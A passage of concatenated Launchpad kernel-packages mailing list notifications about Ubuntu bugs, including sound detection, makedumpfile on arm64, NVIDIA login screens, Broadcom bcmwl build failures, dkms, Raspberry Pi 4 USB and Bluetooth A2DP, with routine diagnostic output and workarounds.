here: https://bugs.archlinux.org/task/64720 As a workaround I've added `snd_hda_intel.dmic_detect=0` to boot options and after that sound card successfully detected and started working. ProblemType: Bug DistroRelease: Ubuntu 20.04 Package: linux-image-5.4.0-14-generic 5.4.0-14.17 ProcVersionSignature: Ubuntu 5.4.0-14.17-generic 5.4.18 Uname: Linux 5.4.0-14-generic x86_64 ApportVersion: 2.20.11-0ubuntu18 Architecture: amd64 AudioDevicesInUse: Error: command ['fuser', '-v', '/dev/snd/seq', '/dev/snd/timer'] failed with exit code 1: CurrentDesktop: MATE Date: Wed Feb 26 19:22:05 2020 InstallationDate: Installed on 2020-02-25 (1 days ago) InstallationMedia: Ubuntu-MATE 20.04 LTS "Focal Fossa" - Alpha amd64 (20200221) Lsusb: Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 04f3:0c02 Elan Microelectronics Corp. ELAN:Fingerprint Bus 001 Device 002: ID 04f2:b61e Chicony Electronics Co., Ltd Integrated Camera Bus 001 Device 004: ID 8087:0aaa Intel Corp. Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: LENOVO 20RR ProcFB: 0 i915drmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-5.4.0-14-generic root=UUID=94f1e507-a44a-46a8-9163-548d27303afb ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-5.4.0-14-generic N/A linux-backports-modules-5.4.0-14-generic N/A linux-firmware1.186 SourcePackage: linux-5.4 UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 10/29/2019 dmi.bios.vendor: LENOVO dmi.bios.version: CQCN24WW dmi.board.asset.tag: No Asset Tag dmi.board.name: LNVNB161216 dmi.board.vendor: LENOVO dmi.board.version: SDK0J40697WIN dmi.chassis.asset.tag: No Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo ThinkBook 13s-IML dmi.modalias: dmi:bvnLENOVO:bvrCQCN24WW:bd10/29/2019:svnLENOVO:pn20RR:pvrLenovoThinkBook13s-IML:rvnLENOVO:rnLNVNB161216:rvrSDK0J40697WIN:cvnLENOVO:ct10:cvrLenovoThinkBook13s-IML: dmi.product.family: ThinkBook 13s-IML dmi.product.name: 20RR dmi.product.sku: LENOVO_MT_20RR_BU_idea_FM_ThinkBook 13s-IML dmi.product.version: Lenovo ThinkBook 13s-IML dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1864871/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1869465] Re: Kdump-Tools: Makedumpfile Failed, Falling Back To 'Cp'
** Package changed: linux (Debian) => makedumpfile (Debian) ** No longer affects: linux (Ubuntu) ** No longer affects: linux (Ubuntu Xenial) ** No longer affects: linux (Ubuntu Bionic) ** No longer affects: linux (Ubuntu Eoan) ** No longer affects: linux (Ubuntu Focal) ** No longer affects: linux (Ubuntu Groovy) ** Changed in: makedumpfile (Ubuntu Xenial) Importance: Undecided => Medium ** Changed in: makedumpfile (Ubuntu Bionic) Importance: Undecided => Medium ** Changed in: makedumpfile (Ubuntu Eoan) Importance: Undecided => Medium ** Changed in: makedumpfile (Ubuntu Focal) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1869465 Title: Kdump-Tools: Makedumpfile Failed, Falling Back To 'Cp' Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: New Status in makedumpfile source package in Bionic: New Status in makedumpfile source package in Eoan: New Status in makedumpfile source package in Focal: New Status in makedumpfile source package in Groovy: Fix Released Status in makedumpfile package in Debian: New Bug description: [Impact] On some arm systems makedumpfile fails to translate virtual to physical addresses properly. This may result in makedumpfile looping forever exhausting all memory, or translating a virtual address to an invalid physical address and then failing and falling back to cp. The reason it cannot resolve some addresses is because the PMD mask is wrong. When physical address mask allows up to 48bits pmd mask should allow the same, currently pmd mask is set to 40bits (see commit [1]). Commit [1] fixes this bug. [Test Case] To hit this bug you need a system that needs physical addresses over 1TB. This may be either because you have a lot of memory or because the firmware mapped some memory above 1TB for some reason [1]. A user hit this bug because firmware mapped memory above 1TB and provided a dump so I could reproduce the bug when running makedumpfile on the dump. [Regression Potential] This commit changes the PMD_SECTION_MASK for arm64. So any regression potential would only affect arm64 systems. In addition PMD_SECTION_MASK is used in translation from virtual to physical addresses and therefore any regression would happen during this process. [Other] [1] https://github.com/makedumpfile/makedumpfile/commit/7242ae4cb5288df626f464ced0a8b60fd669100b When testing kdump on Ubuntu 18.04.4 (arm64) GA kernel, makedumpfile fails. The test steps are as follows: # echo 1> / proc / sys / kernel / sysrq # echo c> / proc / sysrq-trigger The logs are as follows: kdump-tools[646]: starting kdump-tools: * running makedumpfile -c -d 31 /proc/vmcore /var/crash/202003251128/dump-incomplete kdump-tools[646]: readpage_elf: Attempt to read non-existent page at 0x0 kdump-tools[646]: readmem: type_addr: 1, addr:ff0, size:8 kdump-tools[646]: vaddr_to_paddr_arm64: Can't read pud kdump-tools[646]: readmem: Can't convert a virtual address(9e653690) to physical address. kdump-tools[646]: readmem: type_addr: 0, addr:9e653690, size:1032 kdump-tools[646]: validate_mem_section: Can't read mem_section array. kdump-tools[646]: get_mem_section: Could not validate mem_section. kdump-tools[646]: get_mm_sparsemem: Can't get the address of mem_section. kdump-tools[646]: makedumpfile Failed. kdump-tools[646]: * kdump-tools: makedumpfile failed, falling back to 'cp' But when I use the HWE kernel, I find that there is no such problem. The HEW kernel version: 5.3.0-42-generic To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/makedumpfile/+bug/1869465/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1559576] Re: Ubuntu GNOME boots to black screen when using proprietary Nvidia drivers
** Bug watch added: bugzilla.gnome.org/ #750157 https://bugzilla.gnome.org/show_bug.cgi?id=750157 ** Project changed: gdm => gnome-shell -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to nvidia-graphics-drivers-375 in Ubuntu. https://bugs.launchpad.net/bugs/1559576 Title: Ubuntu GNOME boots to black screen when using proprietary Nvidia drivers Status in GNOME Shell: Unknown Status in Ubuntu GNOME: Fix Released Status in gnome-shell package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-375 package in Ubuntu: Fix Released Status in nvidia-graphics-drivers-375 source package in Xenial: Fix Released Status in nvidia-graphics-drivers-375 source package in Yakkety: Fix Released Status in nvidia-graphics-drivers-375 source package in Zesty: Fix Released Bug description: To fix this now without waiting for the Stable Release Update = Install xserver-xorg-legacy Impact == Many users are unable to use their computers after installing the NVIDIA proprietary drivers to Ubuntu GNOME. Specifically, the log in screen does not load. The problem is that many of nvidia-* driver packages do not depend on xserver-xorg-legacy which is needed for gdm/gnome-shell to work Test Case = 1. Check that gnome-shell depends on xserver-xorg-legacy. 2. Optionally, if you have an affected computer, set gdm as the default login manager (sudo apt install gdm3; sudo dpkg-reconfigure gdm3; sudo reboot). Does the login screen show up? And can you log in to gnome (sudo apt install gnome-shell)? Regression Potential Low. Installing a missing dependency should cause no issues; if it does, something is very broken already. Other Info == The most minimal fix here for 16.04 LTS and 16.10 is to just have gnome-shell depend on xserver-xorg-legacy. Updating all the nvidia-* packages in Ubuntu and the PPAs would be a lot more trouble; although that would still be a good idea so that this gnome-shell dependency could be dropped in future Ubuntu releases. xserver-xorg-legacy is a very small package. gdm3 depends on gnome-shell. Original Bug Report === Using latest Ubuntu Gnome x64 daily build with all updates installed. Lenovo Z70-80 laptop with Nvidia 840M, BIOS updated to latest version, secure boot and other potentially problematic BIOS settings disabled. Can only see a black screen instead of a log-in screen after boot completes when proprietary Nvidia drivers are installed. Regular Ubuntu works absolutely fine on the same machine with the same driver version. Attempting to use older drivers on Ubuntu Gnome made no difference. Bug is affecting more than just me. We were talking about workarounds in ubuntuforums. User fthx claims that switching to lightdm fixes the issue http://ubuntuforums.org/showthread.php?t=2317628&p=13457703#post13457703 ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-4.4.0-14-generic 4.4.0-14.30 ProcVersionSignature: Ubuntu 4.4.0-14.30-generic 4.4.5 Uname: Linux 4.4.0-14-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20-0ubuntu3 Architecture: amd64 Date: Sat Mar 19 23:19:21 2016 HibernationDevice: RESUME=UUID=4f8fb76c-f99d-4c54-8a67-eed0653d8eb6 InstallationDate: Installed on 2016-03-19 (0 days ago) InstallationMedia: Ubuntu-GNOME 16.04 LTS "Xenial Xerus" - Alpha amd64 (20160318) MachineType: LENOVO 80FG ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-14-generic.efi.signed root=UUID=572a19f6-7324-4269-ad36-7ffc9919f7a2 ro noprompt persistent quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.4.0-14-generic N/A linux-backports-modules-4.4.0-14-generic N/A linux-firmware1.156 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 09/22/2015 dmi.bios.vendor: LENOVO dmi.bios.version: ABCN96WW dmi.board.asset.tag: NO Asset Tag dmi.board.name: Lenovo Z70-80 dmi.board.vendor: LENOVO dmi.board.version: NO DPK dmi.chassis.asset.tag: NO Asset Tag dmi.chassis.type: 10 dmi.chassis.vendor: LENOVO dmi.chassis.version: Lenovo Z70-80 dmi.modalias: dmi:bvnLENOVO:bvrABCN96WW:bd09/22/2015:svnLENOVO:pn80FG:pvrLenovoZ70-80:rvnLENOVO:rnLenovoZ70-80:rvrNODPK:cvnLENOVO:ct10:cvrLenovoZ70-80: dmi.product.name: 80FG dmi.product.version: Lenovo Z70-80 dmi.sys.vendor: LENOVO To manage notifications about this bug go to: https://bugs.launchpad.net/gnome-shell/+bug/1559576/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1342645] Re: upgrade bcmwl-kernel-source to 6.30.223.248
** Tags removed: verification-needed verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1342645 Title: upgrade bcmwl-kernel-source to 6.30.223.248 Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Won't Fix Bug description: The latest version from broadcom is 6.30.223.248 http://www.broadcom.com/support/802.11/linux_sta.php Release notes: WHAT'S NEW IN RELEASE 6.30.223.23X - + Upgraded to Support 3.11 kernels + Added cfg80211 wowlan support for Magic Packets and Disconnect WHAT'S NEW IN RELEASE 6.30.223.126 -- + Upgraded to Support 3.8.x + Added 43142 support + Added 4352 support + Dropped WEXT support To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1342645/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1358966] Re: Broadcom kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given]
** Tags removed: verification-needed verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1358966 Title: Broadcom kernel module failed to build [error: macro "alloc_netdev" requires 4 arguments, but only 3 given] Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Won't Fix Bug description: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 will not build with linux-3.17-rc1 from Ubuntu kernel ppa (Mainline). Tried custom kernel as well from kernel archives 3.17-rc1. APPORT ERROR ProblemType: Package DistroRelease: Ubuntu 14.10 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 Uname: Linux 3.16.1-custom x86_64 NonfreeKernelModules: nvidia wl ApportVersion: 2.14.6-0ubuntu1 Architecture: amd64 DKMSKernelVersion: 3.17.0-031700rc1-generic Date: Tue Aug 19 19:42:02 2014 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.248+bdcom-0ubuntu1:/var/lib/dkms/bcmwl/6.30.223.248+bdcom/build/src/wl/sys/wl_linux.c:1316:64: error: macro "alloc_netdev" requires 4 arguments, but only 3 given InstallationDate: Installed on 2014-07-05 (45 days ago) InstallationMedia: Ubuntu "Utopic" - Build amd64 LIVE Binary 20140703-15:52 PackageVersion: 6.30.223.248+bdcom-0ubuntu1 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1: bcmwl kernel module failed to build UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1358966/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1424676] Re: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build with kernel 4.0 [error: ‘STATION_INFO_TX_BITRATE’ undeclared (first use in this
** Tags removed: verification-needed verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1424676 Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build with kernel 4.0 [error: ‘STATION_INFO_TX_BITRATE’ undeclared (first use in this function)] Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Precise: Won't Fix Status in bcmwl source package in Trusty: Won't Fix Status in bcmwl source package in Vivid: Won't Fix Bug description: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build ProblemType: Package DistroRelease: Ubuntu 15.04 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2 ProcVersionSignature: Ubuntu 3.18.0-13.14-generic 3.18.5 Uname: Linux 3.18.0-13-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.16.1-0ubuntu2 Architecture: amd64 DKMSKernelVersion: 4.0.0-04rc1-generic Date: Mon Feb 23 18:14:07 2015 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.248+bdcom-0ubuntu2:/var/lib/dkms/bcmwl/6.30.223.248+bdcom/build/src/wl/sys/wl_cfg80211_hybrid.c:1444:20: error: ‘STATION_INFO_TX_BITRATE’ undeclared (first use in this function) InstallationDate: Installed on 2014-11-22 (93 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Alpha amd64 (20141121) PackageVersion: 6.30.223.248+bdcom-0ubuntu2 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu2: bcmwl kernel module failed to build UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1424676/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1415880] Re: 14e4:4365 bcmwl-kernel source: fix for null pointer crash
** Tags removed: verification-needed verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1415880 Title: 14e4:4365 bcmwl-kernel source: fix for null pointer crash Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Precise: Won't Fix Status in bcmwl source package in Trusty: Won't Fix Status in bcmwl source package in Vivid: Won't Fix Status in bcmwl source package in Wily: Fix Released Bug description: [Impact] * bcmwl does not compile on new kernels (or HWE kernels) * bcmwl suffers from null reference bug [Test Case] * public PPA provided to community and feedback * based on patch available to other distros * comment #42 [Regression Potential] * for changes on kernel support it may not compile (tested with 3.2, 3.13, 3.18 and 4.2) * for the null reference change -> proved to fix problem for community based on feedback [Other Info] Original bug description: The bcmwl package as of now misses one patch for a bug that occurs with BCM43142 and possibly other broadcom chipsets that will look like random disconnects, poor wifi signal and kernel warnings, See also #1379524. Adding the patch is a fairly simple process: * put the patch file in /usr/src/bcmwl-6.30.223.248+bdcom/patches * add the following line to /usr/src/bcmwl-6.30.223.248+bdcom/dkms.conf PATCH[7]="0014-null-pointer-crash.patch" * run: /usr/lib/dkms/common.postinst bcmwl 6.30.223.248+bdcom /usr/share/bcmwl x86_64 $(uname -r) This has fixed the issue for me. Edit: I just wanted to add that I did not write the patch; I merely downloaded it from a paste that was linked from the respective AUR package. ProblemType: Bug DistroRelease: Ubuntu 14.10 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu1 [modified: usr/src/bcmwl-6.30.223.248+bdcom/dkms.conf] ProcVersionSignature: Ubuntu 3.16.0-29.39-generic 3.16.7-ckt2 Uname: Linux 3.16.0-29-generic x86_64 NonfreeKernelModules: wl ApportVersion: 2.14.7-0ubuntu8.1 Architecture: amd64 CurrentDesktop: LXDE Date: Thu Jan 29 13:15:17 2015 InstallationDate: Installed on 2015-01-26 (3 days ago) InstallationMedia: Lubuntu 14.10 "Utopic Unicorn" - Release amd64 (20141022.1) SourcePackage: bcmwl UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1415880/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1594974] Re: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu0.2: bcmwl kernel module failed to build
** Changed in: bcmwl (Ubuntu) Status: Invalid => Confirmed ** Changed in: bcmwl (Ubuntu) Assignee: epurga (lionsalamnlion) => (unassigned) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1594974 Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu0.2: bcmwl kernel module failed to build Status in bcmwl package in Ubuntu: Confirmed Bug description: just happened...no idea why ProblemType: Package DistroRelease: Ubuntu 14.04 Package: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu0.2 ProcVersionSignature: Ubuntu 3.13.0-89.136-generic 3.13.11-ckt39 Uname: Linux 3.13.0-89-generic i686 NonfreeKernelModules: wl ApportVersion: 2.14.1-0ubuntu3.21 Architecture: i386 DKMSKernelVersion: 4.4.0-26-generic Date: Tue Jun 21 23:28:52 2016 DuplicateSignature: dkms:bcmwl-kernel-source:6.30.223.248+bdcom-0ubuntu0.2:/var/lib/dkms/bcmwl/6.30.223.248+bdcom/build/src/shared/linux_osl.c:935:2: error: implicit declaration of function ‘rdtscl’ [-Werror=implicit-function-declaration] InstallationDate: Installed on 2015-10-16 (249 days ago) InstallationMedia: Ubuntu MATE 14.04.2 "Trusty Tahr" - LTS i386 (20150323) PackageVersion: 6.30.223.248+bdcom-0ubuntu0.2 RelatedPackageVersions: dpkg 1.17.5ubuntu5.7 apt 1.0.1ubuntu2.14 SourcePackage: bcmwl Title: bcmwl-kernel-source 6.30.223.248+bdcom-0ubuntu0.2: bcmwl kernel module failed to build UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1594974/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1491070] Re: On removal the package should warn a reboot is needed
** Tags removed: verification-needed verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1491070 Title: On removal the package should warn a reboot is needed Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Won't Fix Bug description: When the bcmwl-kernel-source package is removed it should communicate that a reboot is needed. This will be picked up by software- properties-gtk and be communicated to the user. Attached is a patch. This will help with this bug https://bugs.launchpad.net/ubuntu/+source/b43-fwcutter/+bug/1490212 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1491070/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1490713] Re: The Debian control file's "modaliases" is too generic
** Tags removed: verification-needed verification-needed-trusty -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1490713 Title: The Debian control file's "modaliases" is too generic Status in bcmwl package in Ubuntu: Fix Released Status in bcmwl source package in Trusty: Won't Fix Bug description: Software-properties-gtk offers wl as the driver for all Broadcom wifi cards, regardless of whether they are supported or not. This is due to the modaliases field used by the bcmwl-kernel-source package. Although in reality I know very little about such things, I'll attach a proposed debian/bcmwl-kernel-source.modaliases file based on the info here: http://www.broadcom.com/docs/linux_sta/README_6.30.223.248.txt Users are going through needless painful procedures to get the correct working driver. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1490713/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1835197] Re: bcmwl dkms won't build on 5.1.x kernels (get_ds() -> KERNEL_DS)
** Changed in: bcmwl (Ubuntu) Importance: Undecided => Medium -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bcmwl in Ubuntu. https://bugs.launchpad.net/bugs/1835197 Title: bcmwl dkms won't build on 5.1.x kernels (get_ds() -> KERNEL_DS) Status in bcmwl package in Ubuntu: Confirmed Bug description: bcmwl dkms won't build on 5.1.x kernels The problem is in use of kernel's get_ds() macro which was removed upstream: #define get_ds()(KERNEL_DS) Instead KERNEL_DS should be used directly. See this patch: https://nest.parrotsec.org/h0tw4t3r/broadcom-fork-5.1.0-kernel/commit/9661e61c6e42e33fb591976ec15461ad45b71104 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bcmwl/+bug/1835197/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1854689] Re: BlueZ 5.52 release
** Tags added: upgrade-software-version -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1854689 Title: BlueZ 5.52 release Status in bluez package in Ubuntu: In Progress Bug description: BlueZ 5.52 release: http://www.bluez.org/release-of-bluez-5-52/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1854689/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1838245] Re: dkms script is missing function find_module
** Tags removed: verification-needed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to dkms in Ubuntu. https://bugs.launchpad.net/bugs/1838245 Title: dkms script is missing function find_module Status in DKMS: Fix Released Status in dkms package in Ubuntu: Fix Released Status in dkms source package in Bionic: Fix Released Status in dkms source package in Disco: Fix Released Status in dkms source package in Eoan: Fix Released Status in dkms source package in Focal: Fix Released Bug description: update for SRU process: [Impact] 1. dkms script is missing function find_module 2. priority of OBSOLETE_BY should higher than "force". #89 https://github.com/dell/dkms/issues/89 [Test case] install the dkms which already patched (also can be found in my ppa[1]) 1. install a dkms which for a kernel module system already installed. e.g. ath10k of my testing ppa : [1] 1.1. the dkms can be installed well. 2. install a dkms which has OBSOLETE_BY and FORCE e.g.ath10k of my testing ppa : [1] (source code in [2]) - the target dkms defined OBSOLETE_BY and FORCE - user install dkms on a system which installed kernel version less than OBSOLETE_BY and another kernel higher than OBSOLETE_BY - the dkms can be installed well. [Regression potential] medium as it touched the version sanity. This change correct the code logic and land one more change from upstream as well. The logic has been verified by #5 and me. Building a kernel module using dkms in Linux Mint 19.1 shows the following error: Running module version sanity check. /usr/sbin/dkms: Zeile 784: find_module: Befehl nicht gefunden modinfo: ERROR: missing module or filename. Checking the file the function is indeed missing and another user confirmed, that it was removed at some point: https://github.com/linuxmint/linuxmint/issues/142 Possible solution: Readd find_module() { # tree = $1 # module = $2 find "$1" -name "$2$module_uncompressed_suffix" -o -name "$2$module_suffix" -type f return $? } as found in https://github.com/dell/dkms/blob/master/dkms To manage notifications about this bug go to: https://bugs.launchpad.net/dkms/+bug/1838245/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1848790] Re: USB not working under arm64 on Pi4 with 4G ram
** Changed in: linux-raspi2 (Ubuntu) Status: Confirmed => Fix Released -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-raspi2 in Ubuntu. https://bugs.launchpad.net/bugs/1848790 Title: USB not working under arm64 on Pi4 with 4G ram Status in linux-raspi2 package in Ubuntu: Fix Released Status in linux-raspi2 source package in Eoan: Fix Released Bug description: Ubuntu 19.10 arm64 on a Raspberry Pi 4 does not recognize a keyboard which works successfully on the same Raspberry Pi 4 with Ubuntu 19.10 armhf. Both USB hubs (2 and 3) were tested, without the OS seeing the keyboard on either. Booting the arm64 image on a Raspberry Pi 3, the keyboard worked successfully. Output of lsusb under arm64 on a Pi 3: ubuntu@ubuntu:~$ lsusb Bus 001 Device 007: ID 413c:2106 Dell Computer Corp. Dell QuietKey Keyboard Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp. SMSC9512/9514 Fast Ethernet Adapter Bus 001 Device 002: ID 0424:9514 Standard Microsystems Corp. SMC9514 Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Output of lsusb under armhf on a Pi 4 (same keyboard attached): ubuntu@ubuntu:~$ lsusb Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 003: ID 413c:2106 Dell Computer Corp. Dell QuietKey Keyboard Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Output of lsusb under arm64 on the same Pi 4 (same keyboard attached): ubuntu@ubuntu:~$ lsusb Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub The fact even the VIA Labs hub doesn't show up (which is built in) suggests the kernel is (for some reason) unable to enumerate anything against the USB hubs. == Temporary Workaround == As noted by various people below, the following line can be added to the "usercfg.txt" file on the boot partition: total_mem=3072 This will limit the available RAM to 3Gb, but otherwise things should operate normally. Note that this bug does not affect Pi 4Bs with less than 4Gb of RAM. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux-raspi2/+bug/1848790/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845046] Re: Bluetooth headphones default to low quality headset mode and fail to switch to A2DP when selected
** Bug watch removed: PulseAudio #525 https://gitlab.freedesktop.org/pulseaudio/pulseaudio/issues/525 ** Bug watch removed: PulseAudio #716 https://gitlab.freedesktop.org/pulseaudio/pulseaudio/issues/716 ** No longer affects: pulseaudio (Ubuntu) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to bluez in Ubuntu. https://bugs.launchpad.net/bugs/1845046 Title: Bluetooth headphones default to low quality headset mode and fail to switch to A2DP when selected Status in bluez package in Ubuntu: Fix Released Status in bluez source package in Bionic: Fix Committed Status in bluez source package in Eoan: Fix Committed Status in bluez source package in Focal: Fix Released Bug description: [Impact] Whenever I turn on my headphones they'll connect to my computer but I'm able to hear the input audio from my microphone and low quality output audio. I have to disconnect the headphones in the bluetooth devices and reconnect for it to fix the problem. [Test Case] 0. Set up your Bluetooth headphones with Ubuntu. 1. Turn off the headphones. 2. Turn on the headphones. 3. In Settings>Sound verify they have reconnected in A2DP mode (stereo, high quality, no microphone support). [Regression Potential] Low. Only the headset code path is affected and the fix has already been released for some time in BlueZ 5.51 onward. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/bluez/+bug/1845046/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828597] Re: KDump boot fails with nr_cpus=1
